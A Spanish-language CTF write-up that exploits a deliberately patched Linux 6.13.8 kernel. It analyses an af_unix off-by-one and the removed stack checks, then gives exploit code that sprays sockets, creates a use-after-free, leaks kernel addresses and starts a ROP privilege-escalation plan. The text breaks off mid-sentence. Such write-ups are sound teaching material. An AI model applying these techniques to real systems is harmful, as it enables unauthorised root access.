oboe
28 minutos de lectura
Se nos proporciona el kernel de Linux (versión 6.13.8) con algunos parches aplicados en el siguiente Dockerfile
:
FROM ubuntu:24.04 AS build
ARG KVER=6.13.8
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -yq --no-install-recommends \
bc bison build-essential cpio flex libelf-dev libssl-dev python3 \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /build
ADD https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-${KVER}.tar.xz /build/
RUN tar -xf linux-${KVER}.tar.xz && mv linux-${KVER} linux
WORKDIR /build/linux
COPY kconfig .config
COPY af_unix.c.patch .
RUN sed -i '0,/BUG/s/BUG/\/\/BUG/' net/socket.c
RUN sed -i '0,/gets/{/gets/s/^/__attribute__((no_stack_protector)) /}' net/socket.c
RUN patch -p1 < af_unix.c.patch
RUN make -j$(nproc)
FROM scratch AS export
COPY --from=build /build/linux/arch/x86/boot/bzImage /
También nos dan los siguientes archivos, que son habituales en retos de explotación de kernel:
$ ls
Dockerfile af_unix.c.patch initramfs.cpio.gz linux.dockerfile
Makefile bzImage kconfig run
Intentaré hacer un writeup detallado sobre este reto, mostrando el entorno de trabajo, el análisis del código fuente, la estrategia de explotación y el desarrollo del exploit. Tengo que admitir que sé lo básico de explotación de kernel, por lo que puede haber algunos conceptos que no sean precisos, lo haré lo mejor que pueda.
Configuración del entorno
Podemos empezar por descargar el código fuente del kernel y aplicar los parches siguiendo los pasos del Dockerfile
. Para fines de depuración, podemos agregar algunas propiedades al archivo .config
: CONFIG_DEBUG_INFO=y
para mantener los símbolos en la imagen vmlinux
y CONFIG_DEBUG_DWARF4=y
para habilitar el soporte de código fuente en GDB, que podría ser útil. Luego, llamamos a make
y esperamos un tiempo a que compile. El resultado es un archivo vmlinux
y una imagen comprimida, denominada normalmente bzImage
o vmlinuz
.
Por otro lado, tenemos initramfs.cpio.gz
, que es el sistema de archivos base. Podemos descomprimirlo usando gzip
y cpio
. En muchos retos de kernel, necesitamos descomprimir el sistema de archivos para encontrar un device vulnerable. Esta vez, el sistema de archivos no contiene nada importante:
$ mkdir initramfs
$ gzip -kd initramfs.cpio.gz
$ cd initramfs
$ cpio -i < ../initramfs.cpio
2359 blocks
$ rm ../initramfs.cpio
$ ls
bin flag init sbin usr
En los retos de kernel, escribiremos el exploit en C, y el binario compilado deberá estar dentro del sistema de archivos antes de que comience la emulación. Por esta razón, debemos compilar el exploit, copiar el binario en el sistema de archivos, comprimir el sistema de archivos y finalmente emular el kernel. En general, los parámetros de emulación y el comando qemu
están en un script llamado run
o similar:
qemu-system-x86_64 \
-kernel bzImage \
-initrd initramfs.cpio.gz \
-monitor none \
-append "console=ttyS0 quiet oops=panic" \
-cpu qemu64,+smep,+smap \
-m 128M \
-nographic \
-no-reboot
El desarrollo de los exploits de kernel lleva más tiempo porque el proceso anterior toma cierto tiempo. Normalmente uso un script como el siguiente para hacer todo a la vez:
#!/usr/bin/env bash
musl-gcc -static -o solve solve.c || exit 1
mv solve initramfs
cd initramfs
find . -print0 \
| cpio --null -ov --format=newc 2>/dev/null \
| gzip -9 > ../initramfs.cpio.gz
cd ..
qemu-system-x86_64 \
-kernel bzImage \
-initrd initramfs.cpio.gz \
-monitor none \
-append "console=ttyS0 quiet oops=panic nokaslr" \
-cpu qemu64,+smep,+smap \
-m 128M \
-nographic \
-no-reboot \
-s
Obsérvese que añadí una opción -s
en el comando de qemu
, que permite la depuración remota en el puerto 1234. Además, agregué nokaslr
en la opción -append
, para facilitar la depuración, aunque escribiremos el exploit como si KASLR estuviera habilitado.
Por último, pero no menos importante, debemos modificar el script init
dentro del sistema de archivos para iniciar sesión directamente como root
dentro del kernel. Esto es necesario para leer /proc/kallsyms
:
- setsid /bin/cttyhack setuidgid 1000 /bin/sh
+ setsid /bin/cttyhack setuidgid 0 /bin/sh
Para usar el bzImage
recién compilado, podemos hacer una copia de seguridad del proporcionado en el reto y usar un enlace simbólico:
$ mv bzImage bzImage_orig
$ ln -s linux-6.13.8/arch/x86/boot/bzImage bzImage
En este punto, podemos escribir un programa simple en un archivo solve.c
y usar el script para ejecutarlo en el kernel, como sanity check.
Análisis del código fuente
En esta sección, identificaremos vulnerabilidades presentes en el código fuente parcheado y las estructuras y funciones involucradas. Recomiendo usar un buen editor de código para poder buscar en varios archivos, saltar a la definición, encontrar llamadas de funciones, etc.
Parches
Revisemos los parches que se han aplicado al código fuente del kernel.
- El parche más notable está en
af_unix.patch
:
RUN patch -p1 < af_unix.c.patch
--- a/net/unix/af_unix.c
+++ b/net/unix/af_unix.c
@@ -325,7 +325,7 @@
refcount_set(&addr->refcnt, 1);
addr->len = addr_len;
- memcpy(addr->name, sunaddr, addr_len);
+ memcpy(addr->name, sunaddr, addr_len + 1);
return addr;
}
Esta es la función completa:
static struct unix_address *unix_create_addr(struct sockaddr_un *sunaddr,
int addr_len)
{
struct unix_address *addr;
addr = kmalloc(sizeof(*addr) + addr_len, GFP_KERNEL);
if (!addr)
return NULL;
refcount_set(&addr->refcnt, 1);
addr->len = addr_len;
memcpy(addr->name, sunaddr, addr_len + 1);
return addr;
}
La función anterior tiene un overflow por un byte, también conocido como off-by-one, en una estructura del heap llamada unix_address
.
- Este elimina el canario de la pila:
RUN sed -i '0,/gets/{/gets/s/^/__attribute__((no_stack_protector)) /}' net/socket.c
La función afectada es getsockname
:
/*
* Get the local address ('name') of a socket object. Move the obtained
* name to user space.
*/
__attribute__((no_stack_protector)) int __sys_getsockname(int fd, struct sockaddr __user *usockaddr,
int __user *usockaddr_len)
{
struct socket *sock;
struct sockaddr_storage address;
CLASS(fd, f)(fd);
int err;
if (fd_empty(f))
return -EBADF;
sock = sock_from_file(fd_file(f));
if (unlikely(!sock))
return -ENOTSOCK;
err = security_socket_getsockname(sock);
if (err)
return err;
err = READ_ONCE(sock->ops)->getname(sock, (struct sockaddr *)&address, 0);
if (err < 0)
return err;
/* "err" is actually length in this case */
return move_addr_to_user(&address, err, usockaddr, usockaddr_len);
}
SYSCALL_DEFINE3(getsockname, int, fd, struct sockaddr __user *, usockaddr,
int __user *, usockaddr_len)
{
return __sys_getsockname(fd, usockaddr, usockaddr_len);
}
¿Por qué eliminarían el canario de la pila? Bueno, la respuesta viene con el próximo parche.
- Este comenta una línea de código específica:
RUN sed -i '0,/BUG/s/BUG/\/\/BUG/' net/socket.c
La función afectada es move_addr_to_user
, que se llama en __sys_getsockname
:
/**
* move_addr_to_user - copy an address to user space
* @kaddr: kernel space address
* @klen: length of address in kernel
* @uaddr: user space address
* @ulen: pointer to user length field
*
* The value pointed to by ulen on entry is the buffer length available.
* This is overwritten with the buffer space used. -EINVAL is returned
* if an overlong buffer is specified or a negative buffer size. -EFAULT
* is returned if either the buffer or the length field are not
* accessible.
* After copying the data up to the limit the user specifies, the true
* length of the data is written over the length limit the user
* specified. Zero is returned for a success.
*/
static int move_addr_to_user(struct sockaddr_storage *kaddr, int klen,
void __user *uaddr, int __user *ulen)
{
int err;
int len;
//BUG_ON(klen > sizeof(struct sockaddr_storage));
err = get_user(len, ulen);
if (err)
return err;
if (len > klen)
len = klen;
if (len < 0)
return -EINVAL;
if (len) {
if (audit_sockaddr(klen, kaddr))
return -ENOMEM;
if (copy_to_user(uaddr, kaddr, len))
return -EFAULT;
}
/*
* "fromlen shall refer to the value before truncation.."
* 1003.1g
*/
return __put_user(klen, ulen);
}
Estos dos parches introducen una vulnerabilidad de Buffer Overflow en caso de que podamos controlar el valor de klen
y hacerlo más grande que sizeof(struct sockaddr_storage)
, ya que han quitado la comprobación.
Por un lado, podemos fugar información más allá de la estructura sockaddr_storage
porque move_addr_to_user
copiará la cantidad de bytes que especifiquemos en un buffer controlado por el usuario. Por otro lado, READ_ONCE(sock->ops)->getname
llamará a unix_getname
porque estaremos tratando con sockets de dominio Unix (UDS), y hay una instrucción memcpy
en una variable del stack (que viene de __sys_getsockname
) usando el valor de addr->len
que podríamos controlar:
static int unix_getname(struct socket *sock, struct sockaddr *uaddr, int peer)
{
struct sock *sk = sock->sk;
struct unix_address *addr;
DECLARE_SOCKADDR(struct sockaddr_un *, sunaddr, uaddr);
int err = 0;
// ...
addr = smp_load_acquire(&unix_sk(sk)->addr);
if (!addr) {
// ...
} else {
err = addr->len;
memcpy(sunaddr, addr->name, addr->len);
// ...
}
sock_put(sk);
out:
return err;
}
Por lo tanto, podremos fugar direcciones de memoria y sobrescribir la dirección de retorno, sin tener que preocuparnos por el canario porque __sys_getsockname
tiene esta mitigación deshabilitada.
Entonces, en resumen:
- Off-by-one en un objeto del heap correspondiente a una estructura
unix_address
- Buffer overflow de lectura en
__sys_getsockname
ymove_addr_to_user
mientras que controlemosklen
- Buffer overflow de escritura en
__sys_getsockname
yunix_getname
mientras que controlemosklen
Estructuras
Ahora, analicemos las estructuras que podrían estar involucradas en el exploit. En primer lugar unix_address
:
struct unix_address {
refcount_t refcnt;
int len;
struct sockaddr_un name[];
};
Como se puede ver, esta estructura tiene un tamaño mínimo de 8 bytes ya que refcount_t
es básicamente un int
(4 bytes) y tenemos otro int
para len
. Obsérvese que la estructura puede tener un tamaño variable porque name
es un array vacío. Esa es la razón por la que esta estructura debe inicializarse dinámicamente con kmalloc
. El siguiente fragmento proviene de unix_create_addr
, donde podemos controlar el valor de addr_len
:
struct unix_address *addr;
addr = kmalloc(sizeof(*addr) + addr_len, GFP_KERNEL);
El atributo refcnt
es interesante, porque determina si la estructura se puede liberar o no con unix_release_addr
:
static inline void unix_release_addr(struct unix_address *addr)
{
if (refcount_dec_and_test(&addr->refcnt))
kfree(addr);
}
La función refcount_dec_and_test
decrementa el valor de refcnt
en 1
y devuelve true
si el nuevo valor es 0
. Si esto sucede, el objeto unix_address
se libera usando kfree
.
Por lo tanto, si logramos modificar el valor de refcnt
de uno de estos objetos, podríamos causar situación de Use After Free (UAF). Obsérvese que esto se puede lograr si explotamos el off-by-one en dos objectos unix_address
adyacentes.
Esta es sockaddr_un
, que aparece en la estructura unix_address
:
#define UNIX_PATH_MAX 108
struct sockaddr_un {
__kernel_sa_family_t sun_family; /* AF_UNIX */
char sun_path[UNIX_PATH_MAX]; /* pathname */
};
Se trata de una estructura de 110 bytes porque __kernel_sa_family_t
es un alias para unsigned short
. Esta estructura es relevante porque estará involucrada en la explotación del off-by-one (sunaddr
):
addr->len = addr_len;
memcpy(addr->name, sunaddr, addr_len + 1);
Funciones
Ahora, veamos cómo podemos llamar a cada una de las funciones anteriores. Como estaremos trabajando con sockets de dominio Unix, es bueno tener un poco de conocimiento sobre cómo funcionan. Dejaré dos recursos que me ayudaron a comprender el funcionamiento interno de estos:
En resumen, los UDS se utilizan para la comunicación entre procesos (IPC). El proceso es el siguiente:
- El servidor crea un socket (descriptor de archivo)
- El servidor se enlaza (bind) a un nombre dado
- El servidor se pone a la escucha de conexiones (no bloqueante)
- Un cliente intenta conectarse
- El servidor acepta la conexión entrante (bloqueante)
- Una vez que llega una conexión, se utiliza un nuevo descriptor de archivo para leer y escribir
Cada uno de estos pasos se gestiona con instrucciones syscall
. Tenemos funciones auxiliares para cada uno de los procedimientos, con un nombre autoexplicativo: socket
, bind
, listen
, connect
, accept
. Cada uno de los manejadores de syscall
se encuentra definido en net/socket.c
bajo el nombre __sys_<nombre>
. Por ejemplo, este es __sys_bind
:
int __sys_bind(int fd, struct sockaddr __user *umyaddr, int addrlen)
{
struct socket *sock;
struct sockaddr_storage address;
CLASS(fd, f)(fd);
int err;
if (fd_empty(f))
return -EBADF;
sock = sock_from_file(fd_file(f));
if (unlikely(!sock))
return -ENOTSOCK;
err = move_addr_to_kernel(umyaddr, addrlen, &address);
if (unlikely(err))
return err;
return __sys_bind_socket(sock, &address, addrlen);
}
SYSCALL_DEFINE3(bind, int, fd, struct sockaddr __user *, umyaddr, int, addrlen)
{
return __sys_bind(fd, umyaddr, addrlen);
}
Esta función es relevante porque hay una variable de tipo sockaddr_storage
en el stack (address
), donde se copian nuestros datos de usuario. Luego, la referencia a este objeto se envía a __sys_bind_socket
:
int __sys_bind_socket(struct socket *sock, struct sockaddr_storage *address,
int addrlen)
{
int err;
err = security_socket_bind(sock, (struct sockaddr *)address,
addrlen);
if (!err)
err = READ_ONCE(sock->ops)->bind(sock,
(struct sockaddr *)address,
addrlen);
return err;
}
Esta función llama a la función específica de bind
de la implementación del socket. En el caso de UDS, es unix_bind
:
static int unix_bind(struct socket *sock, struct sockaddr *uaddr, int addr_len)
{
struct sockaddr_un *sunaddr = (struct sockaddr_un *)uaddr;
struct sock *sk = sock->sk;
int err;
if (addr_len == offsetof(struct sockaddr_un, sun_path) &&
sunaddr->sun_family == AF_UNIX)
return unix_autobind(sk);
err = unix_validate_addr(sunaddr, addr_len);
if (err)
return err;
if (sunaddr->sun_path[0])
err = unix_bind_bsd(sk, sunaddr, addr_len);
else
err = unix_bind_abstract(sk, sunaddr, addr_len);
return err;
}
Obsérvese que sunaddr
(retipada de uaddr
) todavía referencia a la variable address
del stack de __sys_bind
.
En el caso de que addr_len
sea 2
, entonces se llamará a unix_autobind
, que implica que el usuario no especificó ningún nombre para el UDS. En realidad, no necesitamos esta rama de ejecución, por lo que tendremos que poner valores de nombre y longitud, de manera que se llame a unix_validate_addr
:
/*
* Check unix socket name:
* - should be not zero length.
* - if started by not zero, should be NULL terminated (FS object)
* - if started by zero, it is abstract name.
*/
static int unix_validate_addr(struct sockaddr_un *sunaddr, int addr_len)
{
if (addr_len <= offsetof(struct sockaddr_un, sun_path) ||
addr_len > sizeof(*sunaddr))
return -EINVAL;
if (sunaddr->sun_family != AF_UNIX)
return -EINVAL;
return 0;
}
Esta función confirma que estamos usando UDS (AF_UNIX
) y que el valor addr_len
dado no excede del tamaño de una estructura sockaddr_un
(110 bytes).
Después de eso, si el primer byte de sunaddr->sun_path
no es un byte nulo, se llamará a la función unix_bind_bsd
:
static int unix_bind_bsd(struct sock *sk, struct sockaddr_un *sunaddr,
int addr_len)
{
umode_t mode = S_IFSOCK |
(SOCK_INODE(sk->sk_socket)->i_mode & ~current_umask());
struct unix_sock *u = unix_sk(sk);
unsigned int new_hash, old_hash;
struct net *net = sock_net(sk);
struct mnt_idmap *idmap;
struct unix_address *addr;
struct dentry *dentry;
struct path parent;
int err;
addr_len = unix_mkname_bsd(sunaddr, addr_len);
addr = unix_create_addr(sunaddr, addr_len);
if (!addr)
return -ENOMEM;
// ...
}
Nótese que addr_len
se actualiza en unix_mkname_bsd
antes de llamar a unix_create_addr
(recordemos que esta función está parcheada para tener una vulnerabilidad de off-by-one). La actualización se basa en strlen
, por lo que puede ser más difícil trabajar con esta función por este motivo.
Por otro lado, si sunaddr->sun_path
empieza por un byte nulo, se llamará a unix_bind_abstract
:
static int unix_bind_abstract(struct sock *sk, struct sockaddr_un *sunaddr,
int addr_len)
{
struct unix_sock *u = unix_sk(sk);
unsigned int new_hash, old_hash;
struct net *net = sock_net(sk);
struct unix_address *addr;
int err;
addr = unix_create_addr(sunaddr, addr_len);
if (!addr)
return -ENOMEM;
// ...
}
Y esta función simplemente llama a unix_create_addr
sobre el valor de addr_len
, por lo que es más conveniente para la explotación.
El resto de las funciones involucradas en UDS no son tan relevantes para mostrarlas aquí. El único punto a mencionar es que unix_stream_connect
(llamada desde __sys_connect
) incrementa el valor de refcnt
del correspondiente objeto unix_address
. Tal vez otro hecho útil es que cada llamada a socket
asigna un objeto de 256 bytes (struct file
) en el heap del kernel.
Estrategia de explotación
El bug principal que tenemos es un off-by-one en el heap del kernel, específicamente en los objetos unix_address
. Los otros dos parches están destinados a hacer la ruta de explotación más clara. Vamos a revisarlo de nuevo:
struct unix_address {
refcount_t refcnt;
int len;
struct sockaddr_un name[];
};
static struct unix_address *unix_create_addr(struct sockaddr_un *sunaddr,
int addr_len)
{
struct unix_address *addr;
addr = kmalloc(sizeof(*addr) + addr_len, GFP_KERNEL);
if (!addr)
return NULL;
refcount_set(&addr->refcnt, 1);
addr->len = addr_len;
memcpy(addr->name, sunaddr, addr_len + 1);
return addr;
}
Si obtenemos dos objetos unix_address
contiguos y usamos el superior para desbordar en el inferior, podríamos modificar el valor de refcnt
:
Use After Free
La idea de esto es obtener una situación de UAF. Podemos lograr esto de la siguiente manera:
- Enlazamos dos sockets, como en el diseño anterior
- Escuchamos y aceptamos una conexión de un socket cliente al enlace inferior, de modo que el
refcnt
sube a2
y obtenemos dos referencias al mismo objetounix_address
(una para el servidor y otra para el cliente) - Liberamos el objeto
unix_address
de arriba y lo asignamos otra vez para explotar la vulnerabilidad off-by-one. En concreto, necesitamos desbordar con un byte\x01
- Ahora que el valor de
refcnt
ha sido modificado artificialmente a1
, podemos cerrar el descriptor de archivo del socket cliente asociado al objetounix_address
inferior, de manera querefcnt
baja a0
y el objeto se libera - En este punto, el descriptor de archivo del socket servidor todavía mantiene una referencia a este objeto
unix_address
inferior, aunque ha sido liberado
Como resultado, podemos llamar a getsockname
en el socket UAF para fugar las direcciones de memoria del objeto liberado (principalmente direcciones del heap del kernel).
Incluso, podemos modificar artificialmente el valor de len
en el socket UAF para que podamos usarlo como un Buffer Overflow para leer y escribir fuera de límites (out-of-bounds).
Además, podríamos intentar asignar otro objeto del kernel que se ajuste a esta región de memoria y leer de ella usando getsockname
nuevamente. Sin embargo, esto no funcionará porque si len
tiene un valor muy grande (por ejemplo, una dirección del kernel), la función unix_getname
fallará debido a memcpy(sunaddr, addr->name, addr->len)
, que es precisamente la instrucción que permite leer fuera de los límites si controlamos addr->len
, pero con un valor más reducido.
Entonces, el camino de explotación en alto nivel es:
- Obtener una situación de UAF en un objeto
unix_address
- Leer con
getsockname
para fugar direcciones del heap del kernel - Modificar el valor de
len
para habilitar la lectura y la escritura fuera de los límites - Fugar direcciones del kernel desde una estructura debajo del objeto UAF
- Modificar la dirección de retorno de
__sys_getsockname
para colocar una cadena ROP y conseguir ejecución de código arbitrario (ACE)
Mitigaciones
Para el último paso, debemos tener en cuenta que SMEP, SMAP y KPTI están habilitados (así como KASLR). Se pueden encontrar explicaciones detalladas de estas protecciones del kernel en Learning Linux Kernel Exploitation - Part 2 (de hecho, también se recomienda leer Learning Linux Kernel Exploitation - Part 1 y Learning Linux Kernel Exploitation - Part 3 si se quiere aprender aún más sobre explotación de kernel).
En resumen, SMEP bloquea la ejecución de código en las páginas de user-land, pero se puede evitar con ROP; SMAP bloquea el acceso a las páginas de user-land, por lo que la única forma de evitarlo es mantener la cadena ROP en kernel-land; y KPTI significa que el kernel mantiene dos conjuntos de páginas, uno para kernel-land y otro para user-land, pero se puede evitar fácilmente utilizando lo que se conoce como trampolín KPTI, que es la manera que tiene el kernel de volver a user-land de manera segura.
Desarrollo del exploit
Dado que utilizaremos funciones relacionadas con UDS varias veces, vale la pena escribir algunas funciones auxiliares para este propósito:
void do_bind(int sockfd, char* sun_path, int addr_len) {
struct sockaddr_un addr = { .sun_family = AF_UNIX, .sun_path = { 0 } };
memcpy(addr.sun_path + 1, sun_path, 4);
if (bind(sockfd, (struct sockaddr*) &addr, addr_len) < 0) {
perror("bind");
exit(errno);
}
}
void do_connect(int sockfd, char* sun_path, int addr_len) {
struct sockaddr_un addr = { .sun_family = AF_UNIX, .sun_path = { 0 } };
memcpy(addr.sun_path + 1, sun_path, 4);
if (connect(sockfd, (struct sockaddr*) &addr, addr_len) < 0) {
perror("connect");
exit(errno);
}
}
int do_accept(int sockfd) {
int fd = accept(sockfd, NULL, NULL);
if (fd < 0) {
perror("accept");
exit(errno);
}
return fd;
}
void do_listen(int sockfd) {
if (listen(sockfd, 1) < 0) {
perror("listen");
exit(errno);
}
}
void do_getsockname(int sockfd, struct sockaddr_un* addr) {
socklen_t len = 0x40;
if (getsockname(sockfd, (struct sockaddr*) addr, &len) < 0) {
perror("getsockname");
exit(errno);
}
}
Obsérvese cómo do_bind
deja sunaddr->sun_path[0] = '\0'
de manera que el objeto unix_address
se crea con unix_bind_abstract
.
Fugando direcciones de memoria
En primer lugar, comenzaremos asignando muchos objetos unix_address
:
int spray[200];
for (int i = 0; i < 200; i++) {
spray[i] = socket(AF_UNIX, SOCK_STREAM, 0);
char buf[8] = { 0 };
sprintf(buf, "a%d", i);
do_bind(spray[i], buf, 0x18 - 1);
}
Esta es una especie de heap spray, pero el único propósito de esto es consumir slots que estuvieran liberados en el slab antes de ejecutar el exploit, de manera que las asignaciones posteriores de unix_address
sean adyacentes. Esto sucede debido a la siguiente configuración del kernel:
#
# Slab allocator options
#
CONFIG_SLUB=y
CONFIG_SLAB_MERGE_DEFAULT=y
# CONFIG_SLAB_FREELIST_RANDOM is not set
# CONFIG_SLAB_FREELIST_HARDENED is not set
# CONFIG_SLAB_BUCKETS is not set
# CONFIG_SLUB_STATS is not set
CONFIG_SLUB_CPU_PARTIAL=y
# CONFIG_RANDOM_KMALLOC_CACHES is not set
# end of Slab allocator options
El resumen es que estamos lidiando con el asignador SLUB, sin mitigaciones, porque el orden de las free-lists no es aleatorio, no robustecido e incluso tenemos CONFIG_SLAB_MERGE_DEFAULT=y
, que significa que las cachés GPF_KERNEL_ACCOUNT
y GFP_KERNEL
se fusionan.
Como resultado, hay una estructura muy interesante llamada seq_operations
que podemos usar para obtener fugas de memoria del kernel:
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
Esta estructura se asigna en kmalloc-cg-32
(GFP_KERNEL_ACCOUNT
), pero la configuración anterior lo asignará en kmalloc-32
. La estructura se puede asignar abriendo /proc/self/stat
, y contendrá punteros a funciones del kernel, por lo que es una buena opción obtener fugas de memoria del kernel.
Incluso, es útil para obtener control sobre $rip
, según el blog de ptr-yudai (en japonés). De hecho, he usado esta estructura algunas veces, por ejemplo en knote. Pero esta vez no obtendremos control sobre $rip
con esta técnica, solo fugaremos direcciones de memoria.
Por lo tanto, estamos interesados en kmalloc-32
, lo que significa que necesitamos usar valores de sunaddr
con una longitud de 0x18
(los 8 bytes restantes provienen de refcnt
y len
) para que se ajusten dentro del tamaño del slab. Por lo tanto, los siguientes objetos se asignarán uno tras otro:
do_bind(s1, "AAAA", 0x18 - 1);
do_bind(s2, "BBBB", 0x18 - 1);
int seq_fd = open("/proc/self/stat", O_RDONLY);
La podemos comprobarlo en GDB (con el fork de gef
de bata24). Para este propósito, podemos detener la ejecución del exploit con getchar
. Sin embargo, podríamos obtener resultados extraños porque si nuestro programa tarda demasiado en asignar en un lugar específico, otros procesos lo harán en su lugar y el exploit fallará. Como resultado, este exploit es muy difícil de depurar paso a paso. Esta es también la razón por la que asignamos los sockets al comienzo en lugar de entre llamadas a bind
.
Así es como se ven los objetos unix_address
en el heap:
gef> search-pattern 0x0000001700000001
[+] Searching '\x01\x00\x00\x00\x17\x00\x00\x00' in whole memory
...
[+] In (0xffff888003a00000-0xffff888007e00000 [rw-] (0x4400000 bytes)
...
0xffff8880043f1460: 01 00 00 00 17 00 00 00 01 00 00 61 31 39 39 00 | ...........a199. |
0xffff8880043f1520: 01 00 00 00 17 00 00 00 01 00 00 41 41 41 41 00 | ...........AAAA. |
0xffff8880043f1540: 01 00 00 00 17 00 00 00 01 00 00 42 42 42 42 00 | ...........BBBB. |
...
gef> x/12gx 0xffff8880043f1520
0xffff8880043f1520: 0x0000001700000001 0x0041414141000001
0xffff8880043f1530: 0x0000000000000000 0xff00000000000000
0xffff8880043f1540: 0x0000001700000001 0x0042424242000001
0xffff8880043f1550: 0x0000000000000000 0xff00000000000000
0xffff8880043f1560: 0xffffffff812e33b0 0xffffffff812e3400
0xffff8880043f1570: 0xffffffff812e33e0 0xffffffff813438a0
gef> telescope 0xffff8880043f1560 4 -n
0xffff8880043f1560|+0x0000|+000: 0xffffffff812e33b0 <single_start> -> 0x8348c031fa1e0ff3
0xffff8880043f1568|+0x0008|+001: 0xffffffff812e3400 <single_stop> -> 0xccccccc3fa1e0ff3
0xffff8880043f1570|+0x0010|+002: 0xffffffff812e33e0 <single_next> -> 0x01028348fa1e0ff3
0xffff8880043f1578|+0x0018|+003: 0xffffffff813438a0 <proc_single_show> -> 0xf6315641fa1e0ff3
Muy bien, ahora necesitamos incrementar el valor de refcnt
del objeto unix_address
inferior haciendo el combo listen
-connect
-accept
:
do_listen(s2);
do_connect(client_fd, "BBBB", 0x18 - 1);
// refcnt = 2
accept_fd = do_accept(s2);
gef> x/12gx 0xffff8880043f1520
0xffff8880043f1520: 0x0000001700000001 0x0041414141000001
0xffff8880043f1530: 0x0000000000000000 0xff00000000000000
0xffff8880043f1540: 0x0000001700000002 0x0042424242000001
0xffff8880043f1550: 0x0000000000000000 0xff00000000000000
0xffff8880043f1560: 0xffffffff812e33b0 0xffffffff812e3400
0xffff8880043f1570: 0xffffffff812e33e0 0xffffffff813438a0
En este punto, debemos explotar la vulnerabilidad off-by-one. Si lo hacemos directamente, no tendremos control sobre el byte desbordante, que será un byte nulo o un valor no inicializado del stack, pero necesitamos que sea exactamente un byte \x01
.
Recordemos que sunaddr
se copia de user-land al stack del kernel en __sys_bind
. Por lo tanto, si asignamos un enlace UDS que se llene principalmente de bytes \x01
, tendremos una alta probabilidad de obtener el off-by-one deseado:
close(s1);
socket(AF_UNIX, SOCK_STREAM, 0);
struct sockaddr_un addr;
memset(&addr, '\x01', sizeof(struct sockaddr_un));
addr.sun_family = AF_UNIX;
addr.sun_path[0] = '\0';
// fill stack with '\x01'
if (bind(s3, (struct sockaddr*) &addr, sizeof(struct sockaddr_un)) < 0) {
perror("bind");
exit(1);
}
// off-by-one (hopefully '\x01')
// refcnt = 1
do_bind(s4, "CCCC", 0x18);
gef> x/12gx 0xffff8880043f1520
0xffff8880043f1520: 0x0000001800000001 0x0043434343000001
0xffff8880043f1530: 0x0000000000000000 0x0000000000000000
0xffff8880043f1540: 0x0000001700000001 0x0042424242000001
0xffff8880043f1550: 0x0000000000000000 0xff00000000000000
0xffff8880043f1560: 0xffffffff812e33b0 0xffffffff812e3400
0xffff8880043f1570: 0xffffffff812e33e0 0xffffffff813438a0
Ahora podemos liberar el objeto unix_address
víctima al cerrar los descriptores de archivo de socket client_fd
y accept_fd
:
// refcnt = 0 -> kfree
close(client_fd);
close(accept_fd);
socket(AF_UNIX, SOCK_STREAM, 0);
gef> x/12gx 0xffff8880043f1520
0xffff8880043f1520: 0x0000001700000001 0x0041414141000001
0xffff8880043f1530: 0x0000000000000000 0x0000000000000000
0xffff8880043f1540: 0x0000001700000000 0x0042424242000001
0xffff8880043f1550: 0xffff8880043f1500 0xff00000000000000
0xffff8880043f1560: 0xffffffff812e33b0 0xffffffff812e3400
0xffff8880043f1570: 0xffffffff812e33e0 0xffffffff813438a0
Con esto, tenemos el objeto unix_address
asociado a s2
en situación de UAF. Obsérvese que ya podemos fugar el puntero del heap 0xffff8880043f1500
con getsockname
:
struct sockaddr_un leak;
do_getsockname(s2, &leak);
unsigned long kheap = *((unsigned long*) &leak + 1);
if (kheap == 0) {
puts("Exploit failed...");
exit(1);
}
printf("[*] kheap: 0x%lx\n", kheap);
puts("");
A continuación, podemos modificar el valor de len
pisando una estructura de kmalloc-32
controlada. Para lograr esto, podemos usar setxattr
, que también aparece en el blog de ptr-yudai. Aparece en la sección de “Heap Spray”, pero ya no aplica para este propósito, porque setxattr
en el kernel versión 6.13.8 asigna un objeto con un tamaño controlado por el usuario y lo libera en la misma función.
Aún así, podemos usar setxattr
para colocar un valor de len
controlado y luego usar getsockname
nuevamente para realizar una lectura fuera de los límites, y así fugar punteros de la estructura seq_operatons
:
unsigned int payload1[16] = { 1, 0x30 };
setxattr("/proc/self/stat", "pwn", payload1, 0x20, 0);
do_getsockname(s2, &leak);
printf("[*] single_start: 0x%lx\n", *((unsigned long*) &leak + 3));
printf("[*] single_stop: 0x%lx\n", *((unsigned long*) &leak + 4));
printf("[*] single_next: 0x%lx\n", *((unsigned long*) &leak + 5));
puts("");
A continuación, podemos encontrar kbase
restando el offset (obsérvese que KASLR estará habilitado en la instancia remota):
gef> p/x 0xffffffff812e33b0 - $kbase
$1 = 0x2e33b0
unsigned long kbase = *((unsigned long*) &leak + 3) - SINGLE_START_OFFSET;
printf("[+] kbase: 0x%lx\n", kbase);
puts("");
Ejecución de código arbitrario
Hasta este punto, tenemos todas las fugas necesarias para elaborar una cadena ROP para obtener permisos de root
. Recordemos que debido a SMEP, SMAP y KPTI, necesitamos que la cadena ROP se escriba en memoria de kernel-land y use un trampolín KPTI para regresar de manera segura a user-land.
La cadena ROP más tradicional realiza commit_creds(prepare_kernel_cred(0))
para cambiar el UID del proceso actual, de modo que al volver a user-land, seamos root
(UID 0) en lugar de un usuario de bajos privilegios. Sin embargo, prepare_kernel_cred(0)
ya no funciona (véase este parche), pero podemos lograr lo mismo llamando a commit_creds(init_cred)
, que es incluso más fácil.
En primer lugar, encontremos el offset donde se encuentra la dirección de retorno en el stack. Esto se puede hacer dinámicamente utilizando un patrón y luego analizar la salida, o de forma estática:
gef> disassemble __sys_getsockname
Dump of assembler code for function __sys_getsockname:
0xffffffff81bb78a0 <+0>: nop WORD PTR [rax]
0xffffffff81bb78a4 <+4>: push r14
0xffffffff81bb78a6 <+6>: push r13
0xffffffff81bb78a8 <+8>: push r12
0xffffffff81bb78aa <+10>: mov r12,rdx
0xffffffff81bb78ad <+13>: push rbp
0xffffffff81bb78ae <+14>: push rbx
0xffffffff81bb78af <+15>: mov rbx,rsi
0xffffffff81bb78b2 <+18>: sub rsp,0x88
0xffffffff81bb78b9 <+25>: call 0xffffffff812d7610 <fdget>
Como se puede observar, __sys_getsockname
hace push
5 veces y luego resta 0x88
al $rsp
. Esto significa que la dirección de retorno estará en el offset $rsp + 0xb0
. Sin embargo, obsérvese que el Buffer Overflow ocurre en address
